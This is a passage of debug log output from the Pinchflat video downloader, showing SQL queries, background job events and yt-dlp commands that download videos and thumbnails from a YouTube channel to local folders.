true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:51:30.858 [debug] QUERY OK source="sources" db=0.2ms idle=798.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:51:30.858 [debug] Replied in 3ms 21:51:58.783 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.628 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:25.438 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KR_e1IY3S4k --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/46/18/461847d7b7337e378486e91bca96db1bb9a1d9a0b312db93c76409d8d625cc84.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:52:25.450 [debug] Running yt-dlp command for action: download_thumbnail 21:52:25.451 [debug] QUERY OK source="settings" db=0.0ms idle=1391.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:25.451 [debug] QUERY OK source="settings" db=0.0ms idle=1391.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:25.451 [debug] QUERY OK source="settings" db=0.0ms idle=1391.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:25.451 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KR_e1IY3S4k --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/51/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a7/1d/a71d15c5e265433605fce3ad7aca34e3f3946803e5fdfe6498a85940880a5243.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:52:28.329 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KR_e1IY3S4k --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/51/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a7/1d/a71d15c5e265433605fce3ad7aca34e3f3946803e5fdfe6498a85940880a5243.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:52:28.329 [debug] QUERY OK db=0.0ms idle=1269.6ms begin [] 21:52:28.329 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:52:25Z], "/downloads/Last Meals/2026-03-17 Hilary Duff Eats Her Last Meal/Hilary Duff Eats Her Last Meal [KR_e1IY3S4k].mp4", ~U[2026-03-28 01:52:28Z], 51] 21:52:28.330 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/51/metadata.json.gz", "/config/metadata/media_items/51/thumbnail.jpg", 51, ~U[2026-03-28 01:52:28Z], ~U[2026-03-28 01:52:28Z]] 21:52:28.330 [debug] QUERY OK db=0.0ms commit [] 21:52:28.343 [debug] QUERY OK source="media_items" db=0.5ms idle=1282.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [763525770, ~U[2026-03-28 01:52:28Z], 51] 21:52:28.343 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:52:28.343 [info] {"args":{"id":51},"id":54,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":205204295,"event":"job:stop","queue_time":3651138390,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:52:28.343 [debug] QUERY OK source="tasks" db=0.3ms idle=537.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:28.343 [debug] QUERY OK source="tasks" db=0.3ms idle=283.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:28.344 [debug] QUERY OK source="media_items" db=0.1ms idle=13.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [52] 21:52:28.344 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [52] 21:52:28.349 [info] {"args":{"id":53},"id":56,"meta":{},"system_time":1774662748349762243,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:52:28.350 [debug] QUERY OK source="media_items" db=0.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [53] 21:52:28.350 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:52:28.350 [debug] QUERY OK source="tasks" db=0.4ms idle=6.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:28.350 [debug] QUERY OK source="tasks" db=0.5ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:28.350 [debug] QUERY OK source="sources" db=0.2ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:52:28.350 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [52, 53] 21:52:28.351 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:52:28.351 [debug] QUERY OK source="media_items" db=0.4ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [52, 53] 21:52:28.351 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [53] 21:52:28.351 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [53] 21:52:28.351 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:52:28.352 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:28.352 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:28.352 [debug] Running yt-dlp command for action: get_downloadable_status 21:52:28.352 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:28.352 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:28.353 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:28.353 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLcXgr1Lymw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/76/ef76192068bafb412259e2b2964bb6b6862d2118f3e76b05c6956e57cbe6642c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:52:28.785 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:30.416 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=FpEhDtzfcBc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ad/43/ad439a0ee8a26655107feac91009bf31179525e81f400256be2b5d8476e592a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:52:30.426 [debug] Running yt-dlp command for action: download_thumbnail 21:52:30.426 [debug] QUERY OK source="settings" db=0.0ms idle=618.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:30.426 [debug] QUERY OK source="settings" db=0.0ms idle=367.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:30.426 [debug] QUERY OK source="settings" db=0.0ms idle=367.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:30.426 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=FpEhDtzfcBc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/52/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c1/24/c1246917d9628ecda0118a4ff1048b100c3e0aaf0af7d3211c53319dc1e44a1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:52:30.670 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLcXgr1Lymw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/76/ef76192068bafb412259e2b2964bb6b6862d2118f3e76b05c6956e57cbe6642c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:52:30.670 [debug] Running yt-dlp command for action: download 21:52:30.670 [debug] QUERY OK source="settings" db=0.0ms idle=611.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:30.670 [debug] QUERY OK source="settings" db=0.0ms idle=611.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:30.671 [debug] QUERY OK source="settings" db=0.0ms idle=244.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:52:30.671 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLcXgr1Lymw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fa/7f/fa7f69d58ef9445d00eab3d00e6a12f5e868c8d105e82f309442c5513ead7cf9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:52:33.176 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=FpEhDtzfcBc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/52/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c1/24/c1246917d9628ecda0118a4ff1048b100c3e0aaf0af7d3211c53319dc1e44a1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:52:33.176 [debug] QUERY OK db=0.0ms idle=1117.1ms begin [] 21:52:33.177 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:52:30Z], "/downloads/Last Meals/2024-02-08 Super Bowl MVP Julian Edelman Eats His Last Meal/Super Bowl MVP Julian Edelman Eats His Last Meal [FpEhDtzfcBc].mp4", ~U[2026-03-28 01:52:33Z], 52] 21:52:33.178 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/52/metadata.json.gz", "/config/metadata/media_items/52/thumbnail.jpg", 52, ~U[2026-03-28 01:52:33Z], ~U[2026-03-28 01:52:33Z]] 21:52:33.178 [debug] QUERY OK db=0.1ms commit [] 21:52:33.180 [debug] QUERY OK source="media_items" db=1.2ms idle=1119.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [447335014, ~U[2026-03-28 01:52:33Z], 52] 21:52:33.180 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:52:33.180 [info] {"args":{"id":52},"id":55,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":174135688,"event":"job:stop","queue_time":3685043365,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:52:33.181 [debug] QUERY OK source="tasks" db=0.6ms idle=367.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:33.181 [debug] QUERY OK source="tasks" db=0.8ms idle=1121.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:33.181 [debug] QUERY OK source="media_items" db=0.1ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [53] 21:52:33.181 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [53] 21:52:33.186 [info] {"args":{"id":54},"id":57,"meta":{},"system_time":1774662753186865229,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:52:33.187 [debug] QUERY OK source="media_items" db=0.6ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [54] 21:52:33.187 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:52:33.187 [debug] QUERY OK source="tasks" db=0.8ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:52:33.187 [debug] QUERY OK source="tasks" db=0.8ms idle=5.7ms 